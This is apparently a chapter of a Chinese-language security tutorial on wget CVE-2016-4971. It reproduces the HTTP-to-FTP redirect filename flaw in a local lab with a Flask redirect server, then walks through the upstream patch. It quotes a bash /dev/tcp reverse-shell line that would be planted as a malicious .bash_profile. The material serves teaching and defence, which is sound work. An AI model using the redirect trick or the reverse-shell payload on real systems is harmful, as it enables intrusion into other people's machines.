7.1.3 CVE-2016-4971 wget 任意文件上传漏洞

• 漏洞描述

• 漏洞复现

• 漏洞分析

• 参考资料

下载文件

漏洞描述

wget 是一个从网络上自动下载文件的工具，支持通过 HTTP、HTTPS、FTP 三种最常见的 TCP/IP 协议。

漏洞发生在将 HTTP 服务重定向到 FTP 服务时，wget 会默认选择相信 HTTP 服务器，并且直接使用重定向的 FTP URL，而没有对其进行二次验证或对下载文件名进行适当的处理。如果攻击者提供了一个恶意的 URL，通过这种重定向可能达到任意文件的上传的问题，并且文件名和文件内容也是任意的。

漏洞复现

	推荐使用的环境	备注
操作系统	Ubuntu 16.04	体系结构：64 位
漏洞软件	wget	版本号：1.17.1
所需软件	vsftpd	版本号：3.0.3

首先需要安装 ftp 服务器：

$ sudo apt-get install vsftpd

修改其配置文件 /etc/vsftpd.conf，使匿名用户也可以访问：

# Allow anonymous FTP? (Disabled by default).
anonymous_enable=YES

然后我们需要一个 HTTP 服务，这里选择使用 Flask：

$ sudo pip install flask

创建两个文件 noharm.txt 和 harm.txt，假设前者是我们请求的正常文件，后者是重定位后的恶意文件，如下：

$ ls
harm.txt  httpServer.py  noharm.txt
$ cat noharm.txt
"hello world"
$ cat harm.txt
"you've been hacked"
$ sudo cp harm.txt /srv/ftp
$ sudo python httpServer.py
 * Running on http://0.0.0.0:80/ (Press CTRL+C to quit)

httpServer.py 代码如下：

#!/usr/bin/env python
from flask import Flask, redirect

app = Flask(__name__)

@app.route("/noharm.txt")
def test():
    return redirect("ftp://127.0.0.1/harm.txt")

if __name__ == "__main__":
    app.run(host="0.0.0.0",port=80)

接下来在另一个 shell 里（记得切换到一个不一样的目录），执行下面的语句：

$ ls | grep harm
$ wget --version | head -n1
GNU Wget 1.17.1 built on linux-gnu.
$ wget 0.0.0.0/noharm.txt  
--2018-01-29 15:30:35--  http://0.0.0.0/noharm.txt
Connecting to 0.0.0.0:80... connected.
HTTP request sent, awaiting response... 302 FOUND
Location: ftp://127.0.0.1/harm.txt [following]
--2018-01-29 15:30:35--  ftp://127.0.0.1/harm.txt
           => ‘noharm.txt’
Connecting to 127.0.0.1:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD not needed.
==> SIZE harm.txt ... 21
==> PASV ... done.    ==> RETR harm.txt ... done.
Length: 21 (unauthoritative)

noharm.txt                    100%[==============================================>]      21  --.-KB/s    in 0s

2018-01-29 15:30:35 (108 KB/s) - ‘noharm.txt’ saved [21]

$ ls | grep harm
noharm.txt
$ cat noharm.txt
"you've been hacked"

可以看到发生了重定向，虽然下载的文件内容是重定位后的文件的内容（harm.txt），但文件名依然是一开始请求的文件名（noharm.txt），完全没有问题。

这样看来，该系统上的 wget 虽然是 1.17.1，但估计已经打过补丁了。我们直接编译安装原始的版本：

$ sudo apt-get install libneon27-gnutls-dev
$ wget https://ftp.gnu.org/gnu/wget/wget-1.17.1.tar.gz
$ tar zxvf wget-1.17.1.tar.gz
$ cd wget-1.17.1
$ ./configure
$ make && sudo make install

发出请求：

$ wget 0.0.0.0/noharm.txt
--2018-01-29 16:32:15--  http://0.0.0.0/noharm.txt
Connecting to 0.0.0.0:80... connected.
HTTP request sent, awaiting response... 302 FOUND
Location: ftp://127.0.0.1/harm.txt [following]
--2018-01-29 16:32:15--  ftp://127.0.0.1/harm.txt
           => ‘harm.txt’
Connecting to 127.0.0.1:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD not needed.
==> SIZE harm.txt ... 21
==> PASV ... done.    ==> RETR harm.txt ... done.
Length: 21 (unauthoritative)

harm.txt                      100%[==============================================>]      21  --.-KB/s    in 0s

2018-01-29 16:32:15 (3.41 MB/s) - ‘harm.txt’ saved [21]

$ cat harm.txt
"you've been hacked"

Bingo!!!这一次 harm.txt 没有被修改成原始请求的文件名。

在参考资料中，展示了一种针对 .bash_profile 的攻击，我们知道在刚登录 Linux 时，.bash_profile 会被执行，用于设置一些环境变量。但如果该文件是一个恶意的文件，比如 bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9980 0>&1 这样的 payload，执行后就会返回一个 shell 给攻击者。

如果某个人在自己的 home 目录下执行了 wget 请求，并且该目录下没有 .bash_profile，那么利用该漏洞，攻击这就可以将恶意的 .bash_profile 保存到这个人的 home 下。下一次启动时，恶意代码被执行，获得 shell。

漏洞分析

补丁

$ git diff e996e322ffd42aaa051602da182d03178d0f13e1 src/ftp.c | cat
commit e996e322ffd42aaa051602da182d03178d0f13e1
Author: Giuseppe Scrivano <[e-mail]>
Date:   Mon Jun 6 21:20:24 2016 +0200

    ftp: understand --trust-server-names on a HTTP->FTP redirect

    If not --trust-server-names is used, FTP will also get the destination
    file name from the original url specified by the user instead of the
    redirected url.  Closes CVE-2016-4971.

    * src/ftp.c (ftp_get_listing): Add argument original_url.
    (getftp): Likewise.
    (ftp_loop_internal): Likewise.  Use original_url to generate the
    file name if --trust-server-names is not provided.
    (ftp_retrieve_glob): Likewise.
    (ftp_loop): Likewise.

    Signed-off-by: Giuseppe Scrivano <[e-mail]>

diff --git a/src/ftp.c b/src/ftp.c
index cc90c3d..88a9777 100644
--- a/src/ftp.c
+++ b/src/ftp.c
@@ -236,7 +236,7 @@ print_length (wgint size, wgint start, bool authoritative)
   logputs (LOG_VERBOSE, !authoritative ? _(" (unauthoritative)\n") : "\n");
 }

-static uerr_t ftp_get_listing (struct url *, ccon *, struct fileinfo **);
+static uerr_t ftp_get_listing (struct url *, struct url *, ccon *, struct fileinfo **);

 static uerr_t
 get_ftp_greeting(int csock, ccon *con)
@@ -315,7 +315,8 @@ init_control_ssl_connection (int csock, struct url *u, bool *using_control_secur
    and closes the control connection in case of error.  If warc_tmp
    is non-NULL, the downloaded data will be written there as well.  */
 static uerr_t
-getftp (struct url *u, wgint passed_expected_bytes, wgint *qtyread,
+getftp (struct url *u, struct url *original_url,
+        wgint passed_expected_bytes, wgint *qtyread,
         wgint restval, ccon *con, int count, wgint *last_expected_bytes,
         FILE *warc_tmp)
 {
@@ -1188,7 +1189,7 @@ Error in server response, closing control connection.\n"));
         {
           bool exists = false;
           struct fileinfo *f;
-          uerr_t _res = ftp_get_listing (u, con, &f);
+          uerr_t _res = ftp_get_listing (u, original_url, con, &f);
           /* Set the DO_RETR command flag again, because it gets unset when
              calling ftp_get_listing() and would otherwise cause an assertion
              failure earlier on when this function gets repeatedly called
@@ -1779,8 +1780,8 @@ exit_error:
    This loop either gets commands from con, or (if ON_YOUR_OWN is
    set), makes them up to retrieve the file given by the URL.  */
 static uerr_t
-ftp_loop_internal (struct url *u, struct fileinfo *f, ccon *con, char **local_file,
-                   bool force_full_retrieve)
+ftp_loop_internal (struct url *u, struct url *original_url, struct fileinfo *f,
+                   ccon *con, char **local_file, bool force_full_retrieve)
 {
   int count, orig_lp;
   wgint restval, len = 0, qtyread = 0;
@@ -1805,7 +1806,7 @@ ftp_loop_internal (struct url *u, struct fileinfo *f, ccon *con, char **local_fi
     {
       /* URL-derived file.  Consider "-O file" name. */
       xfree (con->target);
-      con->target = url_file_name (u, NULL);
+      con->target = url_file_name (opt.trustservernames || !original_url ? u : original_url, NULL);
       if (!opt.output_document)
         locf = con->target;
       else
@@ -1923,8 +1924,8 @@ ftp_loop_internal (struct url *u, struct fileinfo *f, ccon *con, char **local_fi

       /* If we are working on a WARC record, getftp should also write
          to the warc_tmp file. */
-      err = getftp (u, len, &qtyread, restval, con, count, &last_expected_bytes,
-                    warc_tmp);
+      err = getftp (u, original_url, len, &qtyread, restval, con, count,
+                    &last_expected_bytes, warc_tmp);

       if (con->csock == -1)
         con->st &= ~DONE_CWD;
@@ -2092,7 +2093,8 @@ Removing file due to --delete-after in ftp_loop_internal():\n"));
 /* Return the directory listing in a reusable format.  The directory
    is specifed in u->dir.  */
 static uerr_t
-ftp_get_listing (struct url *u, ccon *con, struct fileinfo **f)
+ftp_get_listing (struct url *u, struct url *original_url, ccon *con,
+                 struct fileinfo **f)
 {
   uerr_t err;
   char *uf;                     /* url file name */
@@ -2113,7 +2115,7 @@ ftp_get_listing (struct url *u, ccon *con, struct fileinfo **f)

   con->target = xstrdup (lf);
   xfree (lf);
-  err = ftp_loop_internal (u, NULL, con, NULL, false);
+  err = ftp_loop_internal (u, original_url, NULL, con, NULL, false);
   lf = xstrdup (con->target);
   xfree (con->target);
   con->target = old_target;
@@ -2136,8 +2138,9 @@ ftp_get_listing (struct url *u, ccon *con, struct fileinfo **f)
   return err;
 }

-static uerr_t ftp_retrieve_dirs (struct url *, struct fileinfo *, ccon *);
-static uerr_t ftp_retrieve_glob (struct url *, ccon *, int);
+static uerr_t ftp_retrieve_dirs (struct url *, struct url *,
+                                 struct fileinfo *, ccon *);
+static uerr_t ftp_retrieve_glob (struct url *, struct url *, ccon *, int);
 static struct fileinfo *delelement (struct fileinfo *, struct fileinfo **);
 static void freefileinfo (struct fileinfo *f);

@@ -2149,7 +2152,8 @@ static void freefileinfo (struct fileinfo *f);
    If opt.recursive is set, after all files have been retrieved,
    ftp_retrieve_dirs will be called to retrieve the directories.  */
 static uerr_t
-ftp_retrieve_list (struct url *u, struct fileinfo *f, ccon *con)
+ftp_retrieve_list (struct url *u, struct url *original_url,
+                   struct fileinfo *f, ccon *con)
 {
   static int depth = 0;
   uerr_t err;
@@ -2310,7 +2314,10 @@ Already have correct symlink %s -> %s\n\n"),
           else                /* opt.retr_symlinks */
             {
               if (dlthis)
-                err = ftp_loop_internal (u, f, con, NULL, force_full_retrieve);
+                {
+                  err = ftp_loop_internal (u, original_url, f, con, NULL,
+                                           force_full_retrieve);
+                }
             } /* opt.retr_symlinks */
           break;
         case FT_DIRECTORY:
@@ -2321,7 +2328,10 @@ Already have correct symlink %s -> %s\n\n"),
         case FT_PLAINFILE:
           /* Call the retrieve loop.  */
           if (dlthis)
-            err = ftp_loop_internal (u, f, con, NULL, force_full_retrieve);
+            {
+              err = ftp_loop_internal (u, original_url, f, con, NULL,
+                                       force_full_retrieve);
+            }
           break;
         case FT_UNKNOWN:
           logprintf (LOG_NOTQUIET, _("%s: unknown/unsupported file type.\n"),
@@ -2386,7 +2396,7 @@ Already have correct symlink %s -> %s\n\n"),
   /* We do not want to call ftp_retrieve_dirs here */
   if (opt.recursive &&
       !(opt.reclevel != INFINITE_RECURSION && depth >= opt.reclevel))
-    err = ftp_retrieve_dirs (u, orig, con);
+    err = ftp_retrieve_dirs (u, original_url, orig, con);
   else if (opt.recursive)
     DEBUGP ((_("Will not retrieve dirs since depth is %d (max %d).\n"),
              depth, opt.reclevel));
@@ -2399,7 +2409,8 @@ Already have correct symlink %s -> %s\n\n"),
    ftp_retrieve_glob on each directory entry.  The function knows
    about excluded directories.  */
 static uerr_t
-ftp_retrieve_dirs (struct url *u, struct fileinfo *f, ccon *con)
+ftp_retrieve_dirs (struct url *u, struct url *original_url,
+                   struct fileinfo *f, ccon *con)
 {
   char *container = NULL;
   int container_size = 0;
@@ -2449,7 +2460,7 @@ Not descending to %s as it is excluded/not-included.\n"),
       odir = xstrdup (u->dir);  /* because url_set_dir will free
                                    u->dir. */
       url_set_dir (u, newdir);
-      ftp_retrieve_glob (u, con, GLOB_GETALL);
+      ftp_retrieve_glob (u, original_url, con, GLOB_GETALL);
       url_set_dir (u, odir);
       xfree (odir);

@@ -2508,14 +2519,15 @@ is_invalid_entry (struct fileinfo *f)
    GLOB_GLOBALL, use globbing; if it's GLOB_GETALL, download the whole
    directory.  */
 static uerr_t
-ftp_retrieve_glob (struct url *u, ccon *con, int action)
+ftp_retrieve_glob (struct url *u, struct url *original_url,
+                   ccon *con, int action)
 {
   struct fileinfo *f, *start;
   uerr_t res;

   con->cmd |= LEAVE_PENDING;

-  res = ftp_get_listing (u, con, &start);
+  res = ftp_get_listing (u, original_url, con, &start);
   if (res != RETROK)
     return res;
   /* First: weed out that do not conform the global rules given in
@@ -2611,7 +2623,7 @@ ftp_retrieve_glob (struct url *u, ccon *con, int action)
   if (start)
     {
       /* Just get everything.  */
-      res = ftp_retrieve_list (u, start, con);
+      res = ftp_retrieve_list (u, original_url, start, con);
     }
   else
     {
@@ -2627,7 +2639,7 @@ ftp_retrieve_glob (struct url *u, ccon *con, int action)
         {
           /* Let's try retrieving it anyway.  */
           con->st |= ON_YOUR_OWN;
-          res = ftp_loop_internal (u, NULL, con, NULL, false);
+          res = ftp_loop_internal (u, original_url, NULL, con, NULL, false);
           return res;
         }

@@ -2647,8 +2659,8 @@ ftp_retrieve_glob (struct url *u, ccon *con, int action)
    of URL.  Inherently, its capabilities are limited on what can be
    encoded into a URL.  */
 uerr_t
-ftp_loop (struct url *u, char **local_file, int *dt, struct url *proxy,
-          bool recursive, bool glob)
+ftp_loop (struct url *u, struct url *original_url, char **local_file, int *dt,
+          struct url *proxy, bool recursive, bool glob)
 {
   ccon con;                     /* FTP connection */
   uerr_t res;
@@ -2669,16 +2681,17 @@ ftp_loop (struct url *u, char **local_file, int *dt, struct url *proxy,
   if (!*u->file && !recursive)
     {
       struct fileinfo *f;
-      res = ftp_get_listing (u, &con, &f);
+      res = ftp_get_listing (u, original_url, &con, &f);

       if (res == RETROK)
         {
           if (opt.htmlify && !opt.spider)
             {
+              struct url *url_file = opt.trustservernames ? u : original_url;
               char *filename = (opt.output_document
                                 ? xstrdup (opt.output_document)
                                 : (con.target ? xstrdup (con.target)
-                                   : url_file_name (u, NULL)));
+                                   : url_file_name (url_file, NULL)));
               res = ftp_index (filename, u, f);
               if (res == FTPOK && opt.verbose)
                 {
@@ -2723,11 +2736,13 @@ ftp_loop (struct url *u, char **local_file, int *dt, struct url *proxy,
           /* ftp_retrieve_glob is a catch-all function that gets called
              if we need globbing, time-stamping, recursion or preserve
              permissions.  Its third argument is just what we really need.  */
-          res = ftp_retrieve_glob (u, &con,
+          res = ftp_retrieve_glob (u, original_url, &con,
                                    ispattern ? GLOB_GLOBALL : GLOB_GETONE);
         }
       else
-        res = ftp_loop_internal (u, NULL, &con, local_file, false);
+        {
+          res = ftp_loop_internal (u, original_url, NULL, &con, local_file, false);
+        }
     }
   if (res == FTPOK)
     res = RETROK;

通过查看补丁的内容，我们发现主要的修改有两处，一个是函数 ftp_loop_internal()，增加了对是否使用了参数 --trust-server-names 及是否存在重定向进行了判断：

 con->target = url_file_name (opt.trustservernames || !original_url ? u : original_url, NULL);

另一个是函数 ftp_loop()，也是一样的：

 struct url *url_file = opt.trustservernames ? u : original_url;

修改之后，如果没有使用参数 --trust-server-names，则默认使用原始 URL 中的文件名替换重定向后 URL 中的文件名。问题就这样解决了。

参考资料

• CVE-2016-4971
• GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution
• Wget漏洞（CVE-2016-4971）利用方式解析